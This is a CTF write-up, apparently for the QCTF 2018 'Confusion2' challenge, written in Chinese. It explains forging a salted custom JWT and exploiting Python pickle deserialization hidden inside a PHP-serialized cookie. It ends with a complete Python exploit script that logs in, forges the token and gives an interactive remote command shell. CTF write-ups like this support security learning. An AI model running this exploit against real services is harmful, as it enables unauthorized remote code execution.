考点:python反序列化 来源:XCTF 4th-QCTF-2018
这个题和Confusion1相比多了login和register,所以肯定要用到注册和登录
另外题目描述里讲了
I find something STRANGE when Alice said hello to me.
登录成功之后首页刚好会出现一个”hello”+用户名
所以就需要关注这个hello是怎么来的。
从注册到登录,抓个包发现cookie比较奇怪,除了PHPSESSID(当然这是假的23333)还有一个token,经过分析发现这是一个JWT
这并不是标准的JWT,是作者自己实现的一个,然后我们通过jwt.io解密,分析一下payload里是什么
{
"data": "O:4:\"User\":2:{s:9:\"user_data\";s:57:\"(lp1\nVhello\np2\naS'5d41402abc4b2a76b9719d911017c592'\np3\na.\";}"
}
很明显data是一个PHP的序列化字符串,这时候很多师傅可能就会开始怀疑了,这个网站到底是个PHP还是个Python?接着分析下这个序列化字符串
User对象中有一个user_data的成员,值为
(lp1\nVhello\np2\naS’5d41402abc4b2a76b9719d911017c592’\np3\na.
有经验的师傅这时候就可以看出来这是一个Python序列化的字符串,而且这个字符串中出现了两个很突出的部分:登录的用户名和一串hash,而这串hash就是用户名的md5
把这个字符串手动在python里反序列化一下会发现这是一个列表,第一个元素是用户名,第二个元素是用户名的md5
>>> import pickle
>>> pickle.loads("(lp1\nVhello\np2\naS'5d41402abc4b2a76b9719d911017c592'\np3\na.")
[u'hello', '5d41402abc4b2a76b9719d911017c592']
所以接下来就是利用python中class的reduce方法反序列化RCE,但是首先要想办法绕过JWT的验证
前面已经知道JWT中的算法是sha256,但是题目描述中说
PS: Alice said she likes add salts when she was cooking.
Hint中也提到 hint:Alice likes adding salt at the LAST.
在加上Confusion1中拿到的salt到现在都没有用到,所以sha256中需要加上前一道题中拿到的salt,根据Hint里提到的,salt需要加在最后,这样就能绕过JWT的验证了
需要注意一下的是在使用salt的时候格式是
jwt_header + '.' + jwt_payload + salt
可能很多人在payload和salt之间也多加了个点导致JWT一直过不去
出题人的锅,很抱歉鄙人没有讲清楚导致很多师傅卡在这里了
另外需要注意就是python反序列化的payload放在PHP的序列化字符串中也要注意PHP序列化的格式,字符数量必须和前面的数字相等
最后在opt中找到flag
附exp:
import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import requests
import re
if os.name != 'posix':
print 'This must be run on Linux!'
sys.exit(1)
sess = requests.Session()
url = 'http://220.249.52.133:41835/'
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'srpopty'
password = 'srpopty'
cmd = 'ls'
def md5proof(strs,num):
for i in range(100000,100000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:num] == strs:
print("[md5proof] %d" %i)
return str(i)
def base64_url_encode(text):
return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')
def base64_url_decode(text):
text = text.replace('-', '+').replace('_', '/')
while True:
try:
result = base64.b64decode(text)
except TypeError:
text += '='
else:
break
return result
class PickleRce(object):
def __reduce__(self):
return commands.getoutput, (cmd, )
def register(username, password):
while True:
verify = md5proof(
re.findall(
'\'\),0,6\) === \'(.*?)\'</span>',
sess.get(url + 'login.php', allow_redirects=False).content
)[0],
6)
if len(verify) > 0 and '*' not in verify:
break
data = {
'username': username,
'password': password,
'verify': verify
}
ret = sess.post(url + 'register.php', data=data, allow_redirects=False)
if 'success' in ret.content:
return True
else:
print '[!] Register failed!'
print ret.content
return False
def login(username, password):
while True:
verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
sess.get(url + 'login.php', allow_redirects=False).content)[0],6)
if len(verify) > 0 and '*' not in verify:
break
data = {
'username': username,
'password': password,
'verify': verify
}
ret = sess.post(url + 'login.php', data=data, allow_redirects=False)
if 'success' in ret.content:
return ret
else:
print '[!] Login failed!'
print ret.content
return None
def create_jwt(kid, data):
jwt_header = base64_url_encode(
'{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)
jwt_payload = base64_url_encode('{"data":"%s"}' % data)
jwt_signature = base64_url_encode(hashlib.sha256(
jwt_header + '.' + jwt_payload + SALT).hexdigest())
return jwt_header + '.' + jwt_payload + '.' + jwt_signature
def serialize():
payload = cPickle.dumps([PickleRce(), PickleRce()])
data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (
len(payload), payload))[1:-1]
print data
return data
if register(username, password) is not None:
login_result = login(username, password)
if login_result is not None:
try:
while True:
cmd = raw_input('>>> ')
cookies = login_result.cookies
# print '[*] Old Cookie token: ' + cookies['token']
jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(
login_result.cookies['token'].split('.')[0]))[0]), serialize())
new_token = Cookie.SimpleCookie().value_encode(jwt)[1]
# print '[*] New Cookie token: ' + new_token
new_cookies = {
'PHPSESSID': cookies['PHPSESSID'],
'token': new_token
}
ret = requests.get(url + 'index.php',
allow_redirects=False, cookies=new_cookies)
print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]
except KeyboardInterrupt:
print '\nExit.'